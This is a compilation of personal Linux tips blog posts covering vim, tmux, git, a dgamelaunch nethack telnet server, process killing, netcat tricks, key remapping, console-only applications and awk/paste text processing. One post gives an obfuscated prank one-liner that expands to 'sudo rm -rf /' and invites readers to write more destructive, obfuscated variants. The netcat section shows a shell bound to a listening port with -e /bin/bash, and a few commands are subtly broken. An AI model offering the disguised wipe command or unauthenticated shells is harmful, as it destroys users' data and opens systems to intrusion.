I’m not talking about standard shell tools that are part of the coreutils pacage on most systems – we all love things like ls, grep or wget but these things are usually always there. I want to know what are your top three indispensable things that may or may not always be there on a stripped down fresh install.

Here are mine:

Vim 7.3

You would be hard pressed to find a Unix or unix-derivative system that does not ship out of the box with a copy of vi. Most linux distros actually ship vim and simply alias it to vi in compatible mode. But, Vim 7.3 is still pretty hard to come by. Unless you are rolling out brand spanking new fresh release, chances are you will have version 7.2 on your system.

Why do I prefer 7.3? Well, it has a handful of features that I grown to like and rely on:

1. Persistent Undo is huge help. Unlike most editors, Vim 7.3 will preserve your undo history even after you save and close the file. This is like having a poor-man’s version control for your files, without actually using version control.

   Unlike most text editors who track edits in a linear way, Vim keeps the undo history as a tree data structure which you can traverse back and forward without actually losing any work. There exist plug-ins such as Gundo which help you visualize and browse your past edit branches with ease.

   As you can imagine, once you get used to undo history persisting after file is saved and closed, it is hard to wean yourself off of it. It is just too useful and convenient of a feature not to take advantage off of it.

2. Relative Line Numbers – 7.3 has this nifty feature which numbers the lines relative to the cursor position. So the current line you are editing is always line 0, and the numbers grow up and down away from it. Why on earth would you want that? Well, it’s a Vim thing really. Vim commands don’t take absolute line numbers or ranges as arguments – they take offsets. So instead of saying something like “do this on lines 5 through 7” you instead say “apply this to the next three lines”. Which means that seeing at a glance that the end of the code block you want to manipulate is N lines away from your cursor without having to count is extremely beneficial. It makes you more productive.

Could I survive working in 7.2? Yeah, probably – but if I can help it, I install 7.3 just to have an uniform work environment across all the machines I work on.

As to why did I include Vim itself on this list? I believe I already answered this question quite throughly.

Tmux

I found out about tmux only few months ago, but I’m already addicted to it. It is a tool so indispensable to me that I will go to great lengths to compile it from source if it happens to be unavailable on a machine I need to be using. Especially if it is a remote machine.

Tmux is a terminal multiplexer – a drop-in replacement for the venerable screen. If you have never used screen, I am about to rock your world my friend. This is the tool that will revolutionize how you work on the command line.

Here is how I explain this tool to complete n00bs: you know how vim and emacs have buffers that you can toggle between or even put side by side in split-screen mode? Terminal multiplexers give you exactly that – but for your shell.

Let me give you a hypothetical example: let’s say you ssh to a server and you are editing some config file. You need to change some value, but you don’t remember what are the allowed values and ranges for that setting. What do you do? Well, you could Ctrl+Z out of your editor, check the man page, and fg back… Or you could grab the mouse, and look the value up online, or locally.

Or you could split the screen, and open the man page side by side with the text editor like this:

Using Tmux on a remote server

Here you see me editing .tmux.conf viewing the man page, and keeping my eye on how hard PogoPlug is working by running top. All on one screen via single PuTTY SSH session from windows. And if I accidentally close my PuTTY window, all I need to do is to ssh back into the box, and issue a single command:

tmux attach -t session_name

All the stuff that I had open doesn’t close when my connection is lost, but keeps on chugging. This is great for big compile jobs – you just type in make, log off and go eat your dinner while the code compiles in the background.

Why Tmux and not Screen? Because it is easier to use. The key bindings are easier to configure, the screen splits look aesthetically nicer. And of course it is just much more friendly to use. For example, in Tmux opening a new shell instance in a vertical split screen buffer is a single action, whereas with screen it is usually two (first you split the screen, then you create a shell session in the new buffer).

Git

Without git I can’t get anything done. For one, I keep a lot of my config files under source control. When I set up a new machine, I usually immediately instal git, so that I can clone my .bashrc, .tmux.conf and .vim/ files and get my working environment in order. Only after I do all that I can start doing actual work.

Git is useful for more than that though. My personal philosophy is that anything I have spent more than 10-15 minutes creating ought to be under version control of some sort. This is sort of a rule to live by, and every time I bent or violated it I got burned pretty harshly. But do not rely just use it locally – a local git repository can be easily blown away along with your work by an accidental deletion, hard drive failure or a myriad of other accidents. If it’s worth sharing, put it on Github. If it is private, show it away on BitBucket. If you do not ever want it to leave the confines of your LAN, set up bare repository on another machine you own, and push your work there regularly so it is in at least two places (well, four – because you are backing both machines up, right?).

Granted, git is not the only source control system out there but it is one I have become fond of. It runs on just about every platform, and once you grok the basics it is actually fairly straightforward to use – especially for small, single person projects. It has great remote services, and pretty good assortment of client side tools (I hear good things about the Github clients for Mac/Windows and stuff like TortoiseGit).

What are your top 3 tools that you couldn’t live without? Let me know in the comments.

Have you ever needed a file of specific size to test something but you didn’t care what that file was? You know, just a space holder or a space filler kind of a thing? This is what you need to do to create one on Windows XP:

fsutil file createnew file.ext 10000

Naturally file.ext is the desired name of the file you want to create, and the numeric argument is the desired size in bytes. Note that fsutil creates a sparse file which means that this operation will be blindingly fast. For example it took about 3 seconds to create a 10GB file on my elderly windows machine.

Useful trick. I sometimes use it to see how a given app will act when it encounters a file of certain size. To accomplish the same thing in linux you apparently need to do something like:

dd if=/dev/zero of=my-file bs=1 count=0 seek=10G

I messed around with it, and the bs and count are important so don’t just skip them. The seek attribute specifies the desired size of your file, and here you can use human readable units (like 10Gb in the example).

So if you ever need a file of a specific size to test something, here is how you make one. How is that for a short post? What do you mean 350 words is not short? Ah, go to hell then. I tried. Next post will be verbose again. ;)

There are several public nethack servers that let you play via telnet. The biggest and most popular one is located at alt.org. Or at least they are the one that shows up on Google results first. You simply telnet in, create an account and play online. This is such an awesome concept that I decided I need some of that. I want my own public server! This would be a perfect new role for that funky old Compaq Presario sitting under my desk and currently running Ubuntulite. So I started digging around for a solution.

And I hit a brick wall because the documentation for this kind of stuff is scant and/or nonexistent. Nevertheless I persevered and you can see the end effect at luke.kicks-ass.org. Sorry for the dyndns domain name, but this is a temporary sort of a thing. For now you can simply telnet in and play. I will probably keep the machine running over the weekend unless you guys manage to crash it. ;)

Note: Use PuTTY or some real terminal client. The windows cmd.exe messes up the menu layout pretty badly. But I’m not sure if there’s anything I can do about it.

Once again, if you want to try out the server, just do:

telnet luke.kicks-ass.org

It’s running on port 23, and it should log you in automatically. From there you need to (r)egister an account. I don’t use the emails for anything, so when asked just type in anything as long as it has an email syntax. There is no email activation or any of that shit. Username and password are up to you. Just remember that this is telnet – so your password will be sent in plain text. Make up some silly one that you won’t be using elsewhere and you won’t cry when you lose it. When you are done it should dump you back at the initial prompt. There you can either (l)og in to play or (w)atch someone else play. Chances are no one is playing yet so log in.

On the next screen you will see bunch of options. Note that I left the nethack config files in bare bones state. You will probably want to use the “o” option to edit your options file to include the number_pad:2 bit that makes movement little easier for people who don’t like HJKL. The editor that ships with dgamelaunch is a vim clode so just fucking deal with it. Move down to one of the uncommented OPTIONS lines add number_pad:2 at the end, press Esc, then :wq and you should be back at the prompt. ;) Now all that is left is to (p)lay.

Let me know how the server works for you. It may be a bit slow (the box is a very old laptop siting on an asymetric residential connection) but then again, this is nethack. You don’t really need rapid speed here. If you like it I might try to figure out a way to make this a permanent fixture of the site. :)

Here is a screenshot of me playing from my winXP box via PuTTY by telneting to luke.kicks-ass.org:

What follows below is the lengthy account of the issues I encountered while setting up this damn thing. If you don’t care about installation details, just skip down to comments.

So, how do you run a public nethack server? First you need the server software. Most servers out there use DGameLaunch which works, but is a major pain in the ass to use. It’s not in the repositories so you will need to download it from the website, compile and configure it yourself. And let me tell you it’s not a picnic. First, you will need to download few dependencies. You will need ncurses development headers, a telnet server and two lexical analyzers flex and bison. You also, obviously need gcc and make to compile the code. And naturally, nethack. You may already have these things on your system – my bare bones install of Ubuntulite didn’t. Just in case run the following:

aptitude install libncurses5-dev bison flex telnetd gcc make nethack-console

Allright, now we can get the server software and compile it:

wget ftp://ftp.alt.org/pub/dgamelaunch/dgamelaunch-1.4.6.tar.gz
tar -xzvf dgamelaunch-1.4.6.tar.gz
cd dgamelaunch-1.4.6/
./configure
make
sudo make install

Have fun. I know I did, because the only documentation that ships with dgamelaunch is a 6 Kb README file. Out of the 117 lines of text it contains, maybe 3 or for actually mention compilation and dependencies. This means that you need to pay close attention to the output of make. Funny thing is that the configure script noticed that I don’t have bison/yacc or flex/lex but did not consider that a stop condition and gleefully generated a makefile. Of course without these apps make would die a horrible death in a flurry of semi-random error message. Same goes for the ncurses header files – it knew it was missing, but did nothing. Thanks!

By default, dgamelaunch will get installed into /usr/local/. Once you compile it you need to do two things. First copy the dgamelaunch.conf from the examples folder to your /etc:

sudo cp examples/dgamelaunch.conf /etc/

Next you want to create chroot jail in which the server will be running. There is a script that does that which ships with dgamelaunch. Simply run it and you should be all set:

sudo ./dgl-create-chroot

It should create /var/lib/dgamelaunch directory and dump bunch of files in there. In my case the script failed to do all the work so I had to do few things manually. Most of this I figured out by trial and error because the README file only gives you cryptic hints on what to do if things go sour.

For example, the script keeled over trying to copy appropriate libs to the chroot directory. It kept failing with an error message pointing out that it can’t find some file, but instead of printing out the file name it would print out a hex value (memory address?). I looked at the script and noticed this was the very last few lines. It also had some small comment which suggested which libraries will probably get imported.

I manually copied all the listed file from /lib/ to /var/lib/dgamelaunch/lib/ then tried to run the binary. It kept failing telling me about other missing files. After 3 or 4 tries I got the full complement of needed libraries. If this happens to you, here is what you should do:

sudo mkdir /var/lib/dgamelaunch/lib/
sudo cp /lib/ld-linux.so.2 /var/lib/dgamelaunch/lib/
sudo cp /lib/libc.so.6 /var/lib/dgamelaunch/lib/
sudo /lib/libdl.so.6 /var/lib/dgamelaunch/lib/
sudo /lib/libdl.so.2 /var/lib/dgamelaunch/lib/
sudo /lib/libncurses.so.5 /var/lib/dgamelaunch/lib/

I also needed to populate /var/lib/dgamelaunch/etc/terminfo with files from /lib/terminfo. For some reason the terminal descriptions were not copied over to this location by the chroot script. I’m not sure this was intended behavior or just a glitch. If you are having problems running the game or the server interface take a peek in this folder. If it’s empty do the following:

sudo cp /lib/terminfo/* /var/lib/dgamelaunch/etc/terminfo/

Btw, when you are testing you need to run dgamelaunch with sudo. This is actually a small tidbit of knowledge that is outlined in the README file. Once you can run the app, register and account, edit the option file, and play few rounds of the game, you can move on to the next stage.

Now all we need to do is set up a telnet server so that people can connect and play. Of course This is the one place where the readme actually does offer you some help. Make sure telnetd is installed, and simply copy and paste the following file into your /etc/inetd.conf:

telnet stream tcp nowait root.root /usr/sbin/tcpd /usr/sbin/in.telnetd -h -L /usr/sbin/dgamelaunch -q -f /etc/dgamelaunch.conf

This may or may not work for you. It work for me. The -L option telnetd in feisty is retarded and doesn’t allow you to use any command line parameters to the shell you are specifying with it. The README file actually mentions that near the bottom. It also mentions that you can use an abridged version of this line:

telnet stream tcp nowait root.root /usr/sbin/tcpd /usr/sbin/in.telnetd -h -L /usr/sbin/dgamelaunch

If you do however it is important to make sure your dgamelaunch.conf is in the root of the /etc directory. If you plan place it in a subdirectory, you have to change the make file before you compile it. Check the README file for hints on how to do this.

After you change the inetd.conf file you want to restart the inetd server. There are several ways to do this, but a simple way that will work on just about any platform is:

killall -HUP inetd

This kills the process and forces it to restart and re-read it’s config file. It’s a tad brutal way to do it so don’t use it on a shared machine or one that is actually handling some critical data. What the hell are do doing installing nethack server on a critical server anyway?

If you do all of the above, you should have a working dgamelaunch installation, and a working telnet server. Just telnet in, and play. :) Id not, post in the comments and we can maybe figure out what is going on together.

tldr: dgamelaunch documentation sucks balls, but setting up the server is doable

[tags]nethack, nethack server, dgamelaunch, public nethack server[/tags]

s="r"; d="$s"m; f="$s"f; sudo $($d -$f /)

If not on Ubuntu, just get rid of sudo and tell people to run it as root. Oh, and if you copied and pasted this into your terminal to try what it does, I hope you backed up recently. I’m guessing it probably won’t delete everything (there would be some access violations and stuff) but it will probably do enough damage for you to hate me for the rest of your life.

Oh, and it won’t work on Solaris 10. I guess someone at Sun fell for some incarnation of this very trick at some point. :P

Btw, has anyone ever killed a system this way? What is the most damage you ever did to a linux system by issuing a reckless command as root?

Also, can you beat my denoobization script? Time to show your true BOFH skills. Points will be given for the magnitude of damage it causes, obfuscation and brevity. Btw, you should be able to copy and paste it into the terminal as a single line.

[tags]linux, rm, rm -rf, bofh, noob, unix[/tags]

img © Rossy ℗∑ñℊ⊍ïñ found @ evilpenguins.tribe.net

Everything really depends on situation. If it’s just a single application that decided to stop responding you can simply kill it. Now, you may think that killing is a bit harsh punishment for not talking to you – and it is. Best practice is to wait a little bit, and the app may un-freeze itself eventually. Chances are that some blocking process seized up the focus, and rendered GUI unusable for a little while. Then again, applications sometimes just freeze or get themselves into a runaway loop. And then there is not much you can do but send them SIGTERM or SIGKILL signal using kill or killall. The former takes the PID of the process as an argument, while the latter takes a name of the binnary and additionally tries to kill the whole process tree which is usually (but not always) a good idea. Note that both commands send SIGTERM by default which is essentially equivalent to nicey asking them to drop dead. If you use -9 you no longer ask – you shiv them in the heart with a rusty spork and watch them bleed to death on your new carpet. And by that I mean data loss, and other unexpected side effects so use it carefully. RTFM for all the other fun signals you can send to your processes.

But how do I kill something if I don’t even know whats it’s pid or the name of the binary?

Good question, voice in my head. You always bring up these interesting things. There are three ways to deal with this problem. First one is to STFU, stop being such a luser and use ps, and top to figure out which application is acting up and then -9 it like a man. But if you can’t handle that, there are two other remaining alternatives for the whussies: pkill, and xkill.

I mentioned pkill before, so I’m not going to repeat myself. All you need to know is that pkill is a smart fellow. He went to ninja school and is sneaky enough to figure out that when you tell it to kill firefox, you really mean firefox-bin. By that logic Kill and killall are kinda like mob hitmen – effective, but dumb as bricks. You have to tell them exactly who to hit, and how.

Xkill is kill’s graphically inclined cousin who specializes in killing windowed applications. When you call him, he appears as a stylish (or tacky, depending on your taste) black skull and bones cursor. Kinda like an inverse Jolly Roger. If pkill is a ninja, then xkill is a pirate of the bunch. Think Jack Sparrow – can be quite destructive if aimed well, but tends to blow shit up if you underestimate him (ie. click in the wrong place). Point him at your frozen window, hit LMB and he will do the rest. Note that if you change your mind you can cancel it by clicking anywhere with RMB.

What if my whole X seems to be locked up?

Easy – swith to a TTY using Ctrl+Alt+F1 (or any function key from F2 to F6 for that matter)! Then use top/htop or whatever strokes your fancy to figure out which app is hugging all the CPU and eating all the memory. Kill it and chances are that all the other software will be given a breath of fresh air and will resume normal function. You can switch back to X with Ctrl+Alt+F7.

If that doesn’t work, and you don’t mind loosing some data, you can give X the good old 3 finger salute. And no, it’s not that one. The old Ctrl+Alt+Del salute remains a fond memory of Win-DOS 95 users whose machines had those awesome reset buttons on the case, that helped them to recover from frequent BSOD’s. Reset buttons are a thing of the past, and so is the Ctrl+Alt+Del which acts as a key shortcut to bring up task management console, or logout dialog on most modern systems. Let’s face it – pressing this key combination no longer feels like saying “Fuck You OS, eat shit and DIEEE!”.

The 3 finger salute I’m talking about is Ctrl+Alt+Backspace – and it’s the key combination that will kill your current X session. And it will give you as much gratification, and therapeutic frustration relief as Ctrl+Alt+Del in the good old times but without actually hosing the filesystem or making the system unstable. Think of it as a forced logout combined with a restart of the X server. 98% of the time this will do the trick and let you resume work quickly and easily.

What if my system is frozen solid?

There is still a way to restart it gracefully using the magic SysRq key combo. Simply hit Alt+PrintScrn (which is how you get SysRq key) and then type in R E I S U B with… Your nose… Or other part of your anatomy. This will trigger a nice reboot that will not corrupt any of your data, destroy the file system or wreck any other crazy damage. In fact each of these keys issues a special SysRq command:

R – switch the keyboard mode
E – send all processes the SIGTERM singal
I – sends all processes the SIGKILL signal
S – Sync filesystem
U – Unmount all devices
B – Reboot immediately

Theoretically you could just do SysRq+B to do an old school, Win 95 style Alt+Ctrl+Del reboot, but it’s just as bad as hitting that power button. Your best bet is to run the whole sequence to ensure that the system shuts down in the way it would normally shut down when you issue a reboot command.

And it’s almost guaranteed to work even on a completely locked up system. That is, if it’s enabled on your system. If you are not sure, do a really quick test right now:

cat /proc/sys/kernel/sysrq

If you see a 1, you are in good shape. If you see a zero, you can enable the SysRq keys by doing:

sudo echo 1 > /proc/sys/kernel/sysrq

Better do it now before you somehow hose your system and need to use it. It’s kinda hard to issue commands when nothing responds to you.

How the hell do you expect me to remember this REISUB thing?

Mnemonics my friend. That’s how you do it. The popular one circulating out there is Rising Elephants Is So Utterly Boring. If you are more of a visual person, I have another one for you. Observe:

Get it? It’s REI Ayanami from Neon Genesis Evangelion and a Subway SUB. It’s easier to remember if you are a fan of the show. Just think about Rei eating a sub and you are good to go. :)

So there you go – plenty of ways to kill, maim and slaughter your applications in many ways. And best of all – most of these are relatively safe, and won’t break shit. At least for the most part. Remember kids – kill responsibly.

[tags]kill, killall, pkill, xkill, reisub, sysrq, rei ayanami, subway, killing, linux, unix, process[/tags]

I guess a good question is what can’t it do?

Port Scanner

Netcat can be a port scanner. It does not have as many features as say nmap, but if you just want to see what ports are open on a given machine, you can simply do:

nc -v -w 1 localhost -z 1-3000

The command above will scan all the ports in the range 1-3000 on localhost.

File Transfer

Let’s say you want to transfer a big zip file from machine A to machine B but neither one has FTP, and using email or IM is out of the question due to file size, or other restrictions. What do you do? You can use netcat as a makeshift file transfer software.

On machine B do the following, where 1337 is some unused port on which you want to send the file:

nc -lp 1337 > file.zip

Assuming that the IP of machine B is 10.48.2.40 go to machine A and do:

nc -w 1 10.48.2.40 1337 < file.zip

That's it. The file will be magically transfered over the network socket.

Chat Server

Have you even needed an improvised one-on-one chat? Netcat can do that too. You simply start listening to connections on some port like this:

nc -lp 1337

Then on another machine simply connect to that port:

nc 10.48.2.40 1337

Now start typing on either machine. When you press enter, the line will immediately show up on the other machine.

Telnet Server

Nectat can also be used to set up a telnet server in a matter of seconds. You can specify the shell (or for that matter any executable) you want netcat to run at a successful connection with the -e parameter:

nc -lp 1337 -e /bin/bash

On windows you can use:

nc -lp 1337 -e cmd.exe

Then on a client machine simply connect to port 1337 and you will get full access to the shell, with the permissions of the user who ran nc on the server.

Spoofing HTTP Headers

You can use netcat to connect to a server using completely spoofed headers. You can actually type out your user agent, referrer and etc. It's useful when you want to generate bunch of hits that can be easily found in the logs or something like that:

nc google.com 80
GET / HTTP/1.1
Host: google.com
User-Agent: NOT-YOUR-BUSINESS
Referrer: YOUR-MOM.COM

Note that your request won't be sent until you generate a blank line. So hit return twice when your are done typing. You will get a response of headers and HTML streaming down your screen:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: PREF=ID=79f8f28c854d90ec:TM=1186369443:LM=1186369443:S=UIiTvi68MtmbcmG l; expires=Sun, 1
-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
Server: GWS/2.1
Transfer-Encoding: chunked
Date: Mon, 06 Aug 2007 03:04:03 GMT

738

I deleted the HTML that followed the response - but you get the idea. It is also a good way of looking at headers. Some sites have nice surprises there (like slashdot's X-Bender and X-Fry headers). Seriously, check them out!

Web Server

I think this is my favorite trick. Did you ever need to set up simple makeshift webserver that would serve a single page? I know I did. In the past when my web server at work melted down, I set up laptop with this simple script:

while true; do nc -l -p 80 -q 1 < error.html; done

The error.html page was just a very simple error message notifying our users about the outage, and giving them an estimate of when it would be fixed. It took me 3 minutes to set up, and probably saved us many angry support calls.

Cloning Hard Drive Partitions Over the Network

This trick was submitted by Craig in the comments. On a system you want to clone do:

dd if=/dev/sda | nc 192.168.0.1 9000

Where 9000 is some random port. On the receiving side di:

nc -l -p 9000 | dd of=/dev/sda

Of course you need to have the cloned partitions unmounted on both systems. So if you are cloning / you will have to boot from a live distro like Knoppix. Note that you can use this technique to clone NTFS partitions as well - just need to use a live Linux distro on both sides.

Summary

Despite being able to do all that netcat still conforms to the Unix philosophy of doing one thing, and doing it well. Netcat was designed for a single purpose - to read and write data packets over network sockets. And because of it's singular purpose it can be used in such a myriad of ways.

It is ironic, but it is of ten the case that the more features you add to your application, the more specialized it gets. And of course, GUI is the ultimate functionality killer. If netcat had a GUI I doubt it would be half as useful as it is right now.

I've been told that socat is a more powerful netcat fork which has even more functionality. Personally, I haven't played with it at all. It does seem to have a different syntax, and it is not as mature or well known, and popular as it's predecessor.

[tags]netcat, socat, network, netcat tricks, tricks, unix tricks[/tags]

In fact, I’m willing to bet that you hit that key by accident much more often, than on purpose. So why not get rid of it. And I don’t mean physically remove it – that’s just stupid. I mean, remap it to something more useful.

Since I’m a vim user, I decided to remap my Caps Lock to the Escape key. This way I can have an easily accessible Esc under my pinky. This way switching back to normal mode is just single movement. I don’t have to lift my left hand from the home row to hit the actual Esc, and I don’t have to do a two hand motion to use the Ctrl+[ equivalent. Here is how you do it.

First open up your ~/.Xmodmap file and add the following lines:

remove Lock = Caps_Lock
keysym Caps_Lock = Escape

Then activate your changes by doing:

xmodmap ~/.Xmodmap

If you want to map Caps Lock to a different key, simply replace Ecape in the sample above with something else like:

• Control_L or Control_R for either left or right Ctrl key
• Alt_L or Alt_R for Alt or AltGr keys
• Super_L or Super_R for the respective “Windows Logo” keys
• Shift_L or Shift_R for respective shift keys

Assigning it to AltGr is also an attractive idea for me, since the Caps Lock position is a bit more accessible than the usual AltGr which I use for typing Polish accented letters. I don’t really see what would be the point of mapping it to Shift, but hey – maybe someone will find that useful.

You can find the rest of key mappings by using the xev utility. Just run it, and start pressing letters and you will see key codes and names for your keys. You can use the same technique to remap almost every single key on the keyboard to whatever you like. :mrgreen:

[tags]keymap, key mapping, remapping keys, caps lock, remapping caps lock, escape, caps lock to escape, esc[/tags]

I was inspired by this post on Motho ke motho ka botho and decided to compile a list of useful command line applications myself. I will break them down into categories so that we can cover all the bases. If I’m missing something, or if I omitted some cool applications please let me know.

Web Browsing

The biggest problem in living without X is web browsing. You will be limited to text browsers, which generally do not support CSS and do not play nice with AJAX. The good news is, that most of the AJAX heavy web-pages now have mobile versions which are surprisingly text-browser friendly.

There are quite a few text browsers out there but I will recommend one:

Elinks [elinks.or.cz]

Why elinks? Because it supports both frames and tables, displays nice colorful output, and works great with mouse. Of course you can also use Lynx, Links, or w3m but in my experience elinks beats all of them hands down. Here is how my page looks in Elinks:

There also seems to be a framebuffer browser out there called Zen but it is a bit unstable no longer in active development.

Email

If you are a gmail user like me, you are in luck. Google has a javascript-less version of their interface which actually works beautifully in elinks:

Neat, eh? For everything else there is Mutt:

Mutt [mutt.org]

I previously covered Mutt several times, showing you how to set it up for IMAP and how to send out emails without full blown sendmail or exim setup just using basic SSMTP. There is also Pine which is a damn fine mail client too – if you can deal with editing your messages in pico.

Chat

Chatting without X is pretty easy. It depends on what you are into though. For example, if you are a GTalk user I can recommend the excellent Freetalk which I covered before:

Freetalk [gnu.org/software/freetalk]

If you are on AIM, then naim will probably be the tool for you:

Naim [naim.n.ml.org]

Naim is a little bit funky but once you get used to it just works. It also supports ICQ and IRC protocols. Of course if you want full blown IRC support, there is probably no better client than irssi:

IRSSI [irssi.org]

It is a bare bones but full featured client. I don’t use irc that much, so I can’t tell you how good it is, but it seems perfectly functional – especially if you are a hard core irc junky.

Reading RSS

If you are like me, you subscribe to way to many RSS feeds. Unfortunately neither Google Reader nor Bloglines works in elinks (or for that matter any text based browser) so we have to rely on local clients if we want to survive without X. I recommend raggle:

Raggle [raggle.org]

Raggle has a clean and intuitive interface, is fast and takes up almost no memory. Perfect for a day without X. Go ahead, import your OPML file using a command line switch, and give it a go. You can also try Newsbeuter.

Btw, that feed list in the screenshot is the default set you get after installation. My feed list is way bigger. ;P

File Management

When you are not browsing, chatting, reading feed or writing emails you probably move around files on your hard drive. Midnight Commander will make this task easier with the classic Norton Commander like interface:

Midnight Commander [ibiblio.org/mc]

You young whipper-snappers probably have no clue what Norton Commander was – but I grew up on it. Whenever I use MC I feel nostalgic for the good old days.

Viewing Images

So let’s say you are living your one day without X and someone sends you an awesome picture. For example it might be a picture of a cat with a caption (ZOMG! Invisible bike!). Or maybe it’s one of those demotivational posters. Hell, it can even be some dancing bunnies!

So what do you do? You open it with a framebuffer image viewer like zgv of course:

ZGV [svgalib.org/rus/zgv]

I have no screenshot for this one because you can’t run it in X, but I can confirm it works. So you will never be without your cat macros!

Watching Video

Sure Luke, but how do I watch my p0rnz you ask? I haven’t personally tested it, but it seems that both Mplayer and VLC are capable of framebuffer output. How well do they actually work in that mode – beats me. Maybe at some point I will test them out, but at this point I don’t have any solid recommendations beyond that.

Text Editing

If you use Linux, you should already have a near religious attachment to a text editor that can be used without X. There are essentially 4 kinds of Linux users: vim/vi users, emacs users, users who can use both editors, but neither of them well, and n00bs. And guess what – if you think that you don’t fit in any of these categories, you are a n00b. Personally – I use both, but I’m more familiar with vim than anything else. Here are my recommendations:

VIM [vim.org]
Emacs [gnu.org/software/emacs]

Playing Music

The fact that you are not running X should not prevent you from listening to your favorite t00nz. Cplay is a lightweight audio player that is perfect for our X-less day:

Cplay [mask.tf.hut.fi/~flu/cplay/]

If you struggling with it, there is an awesome overview of cplay here.

Btw, you can always control your audio volume with alsamixer (if you have ALSA, and you probably do – you have alsamixer installed).

P2P

Luke! I has no Toonz! How I get some without X?

Well, it’s easy my friend. You can do it with rtorrent¹:

RTorrent [libtorrent.rakshasa.no]

It’s yet another nifty curses application with negligible memory footprint. RTorrent can easily compete with the windows based uTorrent for size and memory. Unfortunately it is somewhat counter intuitive using Emacs like key bindings. The learning curve is a bit steep, so here is a nice primer to get you started.

Window Management

Yes, you heard me right – window management. The fact that we are not using X does not mean that we can’t have windows. Twin is a nifty curses app which will open sub-terminals inside a curses environment:

Twin [twin.sourceforge.net]

Twin actually stands for Textmode Window Environment which is exactly what it is. As you can see from the screenshot, it will allow you to have elinks, mutt, raggle and essentially any other application I mentioned here today open on the same tty. How awesome is that? It removes one of the very annoying issues that we face when working without X – the inability to have multiple “windows” open on the same screen-space at the same time.

Will I actually attempt to survive a day without X? Maybe I will at some point. And if I do, I will definitely blog about it, and tell you about my experience. But it won’t be today because I actually have some relatively time sensitive work to do. ;)

Maybe we can all try this together? Let’s set a date (preferably on the weekend so we don’t struggle at work) and let’s try to survive a day without X. Let’s make it an annual linux geek holiday or something. :mrgreen:

¹ – I neither endorse nor condone downloading music. If you are downloading legally, then more power to you. If you are sharing without permission – make sure you don’t get caught.

Note:

If you want to translate this text, please go ahead as long as you give me credit and link back to this post. This work is published under Creative Commons, Non-commercial, Share-alike license.

This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 License.

[tags]x, a day without x, curses, ncurses, rtorrent, cplay, twin, elinks, raggle, vim, emacs, zvg, mplayer, vlc, midnight commander, mutt, freetalk, naim, irssi[/tags]

To take an average of each row (average all the values from each column of a given row do the following:

awk '{sum=0; for(i=1; i<=NF; i++){sum+=$i}; sum/=NF; print sum}' file

The NF variable is a reserved awk word which expands to the number of fields (or columns) in the current row. If you want to take an average of all the columns do:

awk '{for(i=1; i<=NF; i++){sum[i]+=$i}} END {for(i=1; i<=NF; i++){printf sum[i]/NR "\t"}}' file

The NR variable is another awk built-in, that gives you number of records (or rows) read. You can exploit NR To add line numbers to your file do:

awk '{print NR, $0}' file

Of course the same can be accomplished by:

cat -n file

To find the number of lines in a file you can do:

awk 'END {print NR}' file

If you want to find the combined number of lines in all the files passed in on the command line do:

awk 'END {print FNR}' file1 file2 file3 ...

A lot of data manipulation can be done with some awk magic, and simple unix commands such as grep, paste, wc and etc..

[tags]awk, unix, linux, text processing, text manipulation, data processing[/tags]

Sometimes the stuff I want to graph is spread over several files that need to be merged. I’m posting this here because the other day saw someone opening bunch of these files and copying them one by one into Star Office spreadsheet to make a composite graph of all the data. Ugh…

That is way to much work. Not even mentioning that Star Office takes like a full minute to open, while flashing you with some ugly splash screen. I hate fucking splash screens. But I digress. There is a much simpler and easier way of merging simple list files on the command line.

Let’s assume we have two files. Our first file will look like this:

file111
11
111
1
111
1
111
11

Our second file (file2) will be tab delimited list looking like this:

file222 3333
222 33
2 3
2222 33333
22 333
2 3333
222

We want to merge them both and create a file with three columns. How do you do it? There is nothing simpler than using the unix paste command:

$paste file1 file2 > file3

The output of this will look as follows:

file311 22 3333
11 222 33
111 2 3
1 2222 33333
111 22 333
1 2 3333
111 222
11

There is one small issue that you need to watch out for – when you “paste” together two files with different rows (lines), you need to be really careful. For example, see what happens when I do the following:

$paste file2 file1 > file4

The output will look like this:

file422 3333 11
222 33 11
2 3 111
2222 33333 1
22 333 111
2 3333 1
222 111
11

Note how in the last row, the value ended up in the second column instead of the third. This is because paste doesn’t actually know about columns. It just glues together all the lines from the input files and puts tab in between them. You have to remember this little caveat when you paste together many files.

The quick workaround here is to put the “bigger” file as the first one in the command, and thus making it appear as the leftmost column. It’s probably best to pad the smaller file with an appropriate number of tabs. For example if one of your files has 25 more lines than the other one you can do:

for i in `seq 1 25`; do echo -e '\t' >> file2; done

This might be enough to make paste to do what you want it to do. For safety, paste to standard output first, before you write it to a file to make sure it looks right.

Oh, and if you messed up the loop, you can easily delete all the blank lines at the end with vim. Open the file, and type in \^\n\|^\t and hit enter to find the first line that either starts with a newline or a tab. Then press dG to delete everything below that line.

[tags]paste, bash, unix, linux, text files, columns, files, lines[/tags]